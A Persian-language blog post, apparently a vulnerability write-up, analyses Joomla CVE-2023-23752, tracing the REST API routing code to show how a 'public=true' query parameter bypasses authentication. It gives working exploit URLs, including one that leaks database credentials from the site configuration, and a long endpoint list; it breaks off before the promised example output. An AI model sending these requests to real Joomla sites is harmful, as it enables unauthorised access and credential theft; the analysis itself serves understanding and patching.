یه آسیب پذیری با شدت بالا و شناسه CVE-2023-23752 در جوملا گزارش و اصلاح شده که امکان دسترسی بدون احراز هویت رو به Rest API فراهم میکنه.
جوملا تقریبا سه نقطه ورودی داره :
- index.php : که در دایرکتوری روت هستش و کاربرا میتونن مقالات و … سایت رو مشاهده کنن.
- administrator/index.php : که در دایرکتوری روت هستش و پنل مدیریت سایت هستش.
- api/index.php :که در دایرکتوری روت هستش و Rest API رو برای توسعه دهندگان ارائه میده.
این آسیب پذیری در بخش آخر یعنی Rest API هستش.
نسخه های تحت تاثیر :
Joomla! CMS versions 4.0.0-4.2.7
نسخه اصلاح شده:
Joomla! CMS version 4.2.8
بررسی و اکسپلویت آسیب پذیری :
برای تجزیه و تحلیل این آسیب پذیری ، جوملا رو در حالت دیباگ اجرا کنید . به آدرس api/index.php برید. با ورود به این آدرس ، به app.php منتقل میشید. در بین متغییرها ، یه متغییر اصلی داریم بنام $app که همه درخواستهای HTTP رو ذخیره میکنه.
در نهایت تابع execute اجرا میشه. این تابع در مسیر زیر تعریف شده :
1 |
joomla\libraries\src\Application\CMSApplication.php |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 |
public function execute() { try { $this->sanityCheckSystemVariables(); $this->setupLogging(); $this->createExtensionNamespaceMap(); // Perform application routines. $this->doExecute(); // If we have an application document object, render it. if ($this->document instanceof \Joomla\CMS\Document\Document) { // Render the application output. $this->render(); } // If gzip compression is enabled in configuration and the server is compliant, compress the output. if ($this->get('gzip') && !ini_get('zlib.output_compression') && ini_get('output_handler') !== 'ob_gzhandler') { $this->compress(); // Trigger the onAfterCompress event. $this->triggerEvent('onAfterCompress'); } } catch (\Throwable $throwable) { /** @var ErrorEvent $event */ $event = AbstractEvent::create( 'onError', [ 'subject' => $throwable, 'eventClass' => ErrorEvent::class, 'application' => $this, ] ); // Trigger the onError event. $this->triggerEvent('onError', $event); ExceptionHandler::handleException($event->getError()); } // Send the application response. $this->respond(); // Trigger the onAfterRespond event. $this->triggerEvent('onAfterRespond'); } |
در این تابع ما چند تا تابع دیگه رو داریم . از جمله :
- تابع sanityCheckSystemVariables کار فیلتر پارامترهای رندرینگ قالب رو انجام میده. این کار رو برای جلوگیری از حملات XSS انجام میده. برای ما مهم نیست.
- توابع setupLogging و createExtensionNameSpaceMap یسری کارهای لاگ نویسی رو انجام میدن. برای ما مهم نیست.
- تابع doExecute : منطق مسیریابی برنامه رو پیاده سازی میکنه. برای ما مهم هستش و در مسیر زیر تعریف شده :
1 |
joomla\libraries\src\Application\ApiApplication.php |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
protected function doExecute() { // Initialise the application $this->initialiseApp(); // Mark afterInitialise in the profiler. JDEBUG ? $this->profiler->mark('afterInitialise') : null; // Route the application $this->route(); // Mark afterApiRoute in the profiler. JDEBUG ? $this->profiler->mark('afterApiRoute') : null; // Dispatch the application $this->dispatch(); // Mark afterDispatch in the profiler. JDEBUG ? $this->profiler->mark('afterDispatch') : null; } |
در این تابع ، دو تابع route و dispatch مهم هستن، که برای ما اولی مهمه.
تابع route هم در همون فایل بالایی هستش و کارش مسیریابی و احراز هویت هستش.
منظور از مسیریابی اینه که وقتی درخواستی وارد برنامه میشه ، برنامه مشخص میکنه که کدوم مولفه این درخواست قراره بگیره.
در زیر بخشی از تابع route رو میبینیم :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 |
protected function route() { $router = $this->getApiRouter(); // Trigger the onBeforeApiRoute event. PluginHelper::importPlugin('webservices'); $this->triggerEvent('onBeforeApiRoute', array(&$router, $this)); $caught404 = false; $method = $this->input->getMethod(); try { $this->handlePreflight($method, $router); $route = $router->parseApiRoute($method); } catch (RouteNotFoundException $e) { $caught404 = true; } /** ... $this->input->set('option', $route['vars']['component']); $this->input->set('controller', $route['controller']); $this->input->set('task', $route['task']); foreach ($route['vars'] as $key => $value) { if ($key !== 'component') { if ($this->input->getMethod() === 'POST') { $this->input->post->set($key, $value); } else { $this->input->set($key, $value); } } } |
اگه اجرا رو ادامه بدیم و به خط 31 میرسیم. یه متغیر بنام $route[‘vars’] داریم که در حقیقت یه آرایه هستش که توش 3 تا عنصر وجود داره. دو تا عنصر اولی برای ما مهم نیستن . عنصر سوم هم یه آرایه هستش که 3 تا عنصر رو داره. در این آرایه عنصر public برای ما مهم هستش. اگه مقدار این متغیر True باشه ، یعنی API از بیرون بدون احراز هویت قابل دسترس هستش و اگه False باشه یعنی API از بیرون قابل دسترس نیست و مقدار پیش فرض اون هم false هستش.
خب تقریبا مسئله حل شد. کار ما اینه که این مقدار false رو تبدیل به true بکنیم. برای این منظور باید ببینیم که مقدار متغیر $route کجا ایجاد میشه و آیا قابل دستکاری از سمت کاربر هستش یا نه.
اگه به خط 15 کد بالا دقت کنید، این آرایه توسط یه تابع بنام parseApiRoute ایجاد میشه. خب باید این تابع رو بررسی کنیم. این تابع در مسیر زیر قرار گرفته :
1 |
joomla\libraries\src\Router\ApiRouter.php |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 |
public function parseApiRoute($method = 'GET') { $method = strtoupper($method); $validMethods = ["GET", "POST", "PUT", "DELETE", "HEAD", "TRACE", "PATCH"]; if (!\in_array($method, $validMethods)) { throw new \InvalidArgumentException(sprintf('%s is not a valid HTTP method.', $method)); } // Get the path from the route and remove and leading or trailing slash. $routePath = $this->getRoutePath(); $query = Uri::getInstance()->getQuery(true); // Iterate through all of the known routes looking for a match. foreach ($this->routes as $route) { if (\in_array($method, $route->getMethods())) { if (preg_match($route->getRegex(), ltrim($routePath, '/'), $matches)) { // If we have gotten this far then we have a positive match. $vars = $route->getDefaults(); foreach ($route->getRouteVariables() as $i => $var) { $vars[$var] = $matches[$i + 1]; } $controller = preg_split("/[.]+/", $route->getController()); $vars = array_merge($vars, $query); return [ 'controller' => $controller[0], 'task' => $controller[1], 'vars' => $vars ]; } } } throw new RouteNotFoundException(sprintf('Unable to handle request for route `%s`.', $routePath)); } |
اگه به انتهای تابع دقت کنیم، مقادیر مورد نظر ما رو بر میگردونه. مقادیر controller و task برای ما مهم نیست و مقدار vars برای ما مهمه که توسط $vars ست میشه. حالا باید دنبال این متغیر بگردیم و ببینیم میتونیم کنترلش کنیم یا نه؟
همون چند خط بالا میبینیم که این متغییر توسط تابع array_merge ، ست میشه. همونطور که از نام این تابع مشخص هست ، چند تا آرایه رو با هم ترکیب میکنه. این تابع دو تا پارامتر گرفته. یکیش $vars و یکی هم $query .
پارامتر $vars همونطور که بالای همین خط مشخص شده توسط foreach برای یسری تطابق بررسی میشه. در نتیجه کنترلی روش نداریم.
اما پارامتر $query که تقریبا اوایل تابع هستش میتونه جالب باشه. این خط کاری که میکنه اینه که کوئری از uri بصورت یک آرایه از آیتم ها بر میگردونه. مثلا اگه ما این در خواست بفرستیم :
1 |
https://onhexgroup.ir/name=seyyid&task=del |
خروجیش به شکل زیر میشه :
1 2 3 4 5 |
Array ( [name] => seyyid [task] => del ) |
خب پس آسیب پذیری اوکیه. اگه ما درخواست زیر رو بفرستیم ، میتونیم اونو اکسپلویت کنیم :
1 |
http://x.x.x.x/api/index.php/v1/banners?public=true |
با توجه به اینکه به API دسترسی داریم ، میتونیم یسری اطلاعات ازش بیرون بکشیم . برای مثال اگه درخواست زیر رو ارسال کنیم میتونیم یسری اطلاعات حساس از پیکربندی سایت از جمله پسورد و یوزر دیتابیس رو بیرون بکشیم.
1 |
/api/index.php/v1/config/application?public=true |
سایر APIهایی که میتونیم استفاده کنیم :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 |
v1/banners v1/banners/:id v1/banners v1/banners/:id v1/banners/:id v1/banners/clients v1/banners/clients/:id v1/banners/clients v1/banners/clients/:id v1/banners/clients/:id v1/banners/categories v1/banners/categories/:id v1/banners/categories v1/banners/categories/:id v1/banners/categories/:id v1/banners/:id/contenthistory v1/banners/:id/contenthistory/keep v1/banners/:id/contenthistory v1/config/application v1/config/application v1/config/:component_name v1/config/:component_name v1/contacts/form/:id v1/contacts v1/contacts/:id v1/contacts v1/contacts/:id v1/contacts/:id v1/contacts/categories v1/contacts/categories/:id v1/contacts/categories v1/contacts/categories/:id v1/contacts/categories/:id v1/fields/contacts/contact v1/fields/contacts/contact/:id v1/fields/contacts/contact v1/fields/contacts/contact/:id v1/fields/contacts/contact/:id v1/fields/contacts/mail v1/fields/contacts/mail/:id v1/fields/contacts/mail v1/fields/contacts/mail/:id v1/fields/contacts/mail/:id v1/fields/contacts/categories v1/fields/contacts/categories/:id v1/fields/contacts/categories v1/fields/contacts/categories/:id v1/fields/contacts/categories/:id v1/fields/groups/contacts/contact v1/fields/groups/contacts/contact/:id v1/fields/groups/contacts/contact v1/fields/groups/contacts/contact/:id v1/fields/groups/contacts/contact/:id v1/fields/groups/contacts/mail v1/fields/groups/contacts/mail/:id v1/fields/groups/contacts/mail v1/fields/groups/contacts/mail/:id v1/fields/groups/contacts/mail/:id v1/fields/groups/contacts/categories v1/fields/groups/contacts/categories/:id v1/fields/groups/contacts/categories v1/fields/groups/contacts/categories/:id v1/fields/groups/contacts/categories/:id v1/contacts/:id/contenthistory v1/contacts/:id/contenthistory/keep v1/contacts/:id/contenthistory v1/content/articles v1/content/articles/:id v1/content/articles v1/content/articles/:id v1/content/articles/:id v1/content/categories v1/content/categories/:id v1/content/categories v1/content/categories/:id v1/content/categories/:id v1/fields/content/articles v1/fields/content/articles/:id v1/fields/content/articles v1/fields/content/articles/:id v1/fields/content/articles/:id v1/fields/content/categories v1/fields/content/categories/:id v1/fields/content/categories v1/fields/content/categories/:id v1/fields/content/categories/:id v1/fields/groups/content/articles v1/fields/groups/content/articles/:id v1/fields/groups/content/articles v1/fields/groups/content/articles/:id v1/fields/groups/content/articles/:id v1/fields/groups/content/categories v1/fields/groups/content/categories/:id v1/fields/groups/content/categories v1/fields/groups/content/categories/:id v1/fields/groups/content/categories/:id v1/content/articles/:id/contenthistory v1/content/articles/:id/contenthistory/keep v1/content/articles/:id/contenthistory v1/extensions v1/languages/content v1/languages/content/:id v1/languages/content v1/languages/content/:id v1/languages/content/:id v1/languages/overrides/search v1/languages/overrides/search/cache/refresh v1/languages/overrides/site/zh-CN v1/languages/overrides/site/zh-CN/:id v1/languages/overrides/site/zh-CN v1/languages/overrides/site/zh-CN/:id v1/languages/overrides/site/zh-CN/:id v1/languages/overrides/administrator/zh-CN v1/languages/overrides/administrator/zh-CN/:id v1/languages/overrides/administrator/zh-CN v1/languages/overrides/administrator/zh-CN/:id v1/languages/overrides/administrator/zh-CN/:id v1/languages/overrides/site/en-GB v1/languages/overrides/site/en-GB/:id v1/languages/overrides/site/en-GB v1/languages/overrides/site/en-GB/:id v1/languages/overrides/site/en-GB/:id v1/languages/overrides/administrator/en-GB v1/languages/overrides/administrator/en-GB/:id v1/languages/overrides/administrator/en-GB v1/languages/overrides/administrator/en-GB/:id v1/languages/overrides/administrator/en-GB/:id v1/languages v1/languages v1/media/adapters v1/media/adapters/:id v1/media/files v1/media/files/:path/ v1/media/files/:path v1/media/files v1/media/files/:path v1/media/files/:path v1/menus/site v1/menus/site/:id v1/menus/site v1/menus/site/:id v1/menus/site/:id v1/menus/administrator v1/menus/administrator/:id v1/menus/administrator v1/menus/administrator/:id v1/menus/administrator/:id v1/menus/site/items v1/menus/site/items/:id v1/menus/site/items v1/menus/site/items/:id v1/menus/site/items/:id v1/menus/administrator/items v1/menus/administrator/items/:id v1/menus/administrator/items v1/menus/administrator/items/:id v1/menus/administrator/items/:id v1/menus/site/items/types v1/menus/administrator/items/types v1/messages v1/messages/:id v1/messages v1/messages/:id v1/messages/:id v1/modules/types/site v1/modules/types/administrator v1/modules/site v1/modules/site/:id v1/modules/site v1/modules/site/:id v1/modules/site/:id v1/modules/administrator v1/modules/administrator/:id v1/modules/administrator v1/modules/administrator/:id v1/modules/administrator/:id v1/newsfeeds/feeds v1/newsfeeds/feeds/:id v1/newsfeeds/feeds v1/newsfeeds/feeds/:id v1/newsfeeds/feeds/:id v1/newsfeeds/categories v1/newsfeeds/categories/:id v1/newsfeeds/categories v1/newsfeeds/categories/:id v1/newsfeeds/categories/:id v1/plugins v1/plugins/:id v1/plugins/:id v1/privacy/requests v1/privacy/requests/:id v1/privacy/requests/export/:id v1/privacy/requests v1/privacy/consents v1/privacy/consents/:id v1/privacy/consents/:id v1/redirects v1/redirects/:id v1/redirects v1/redirects/:id v1/redirects/:id v1/tags v1/tags/:id v1/tags v1/tags/:id v1/tags/:id v1/templates/styles/site v1/templates/styles/site/:id v1/templates/styles/site v1/templates/styles/site/:id v1/templates/styles/site/:id v1/templates/styles/administrator v1/templates/styles/administrator/:id v1/templates/styles/administrator v1/templates/styles/administrator/:id v1/templates/styles/administrator/:id v1/users v1/users/:id v1/users v1/users/:id v1/users/:id v1/fields/users v1/fields/users/:id v1/fields/users v1/fields/users/:id v1/fields/users/:id v1/fields/groups/users v1/fields/groups/users/:id v1/fields/groups/users v1/fields/groups/users/:id v1/fields/groups/users/:id v1/users/groups v1/users/groups/:id v1/users/groups v1/users/groups/:id v1/users/groups/:id v1/users/levels v1/users/levels/:id v1/users/levels v1/users/levels/:id v1/users/levels/:id |
برای مثال خروجی v1/users :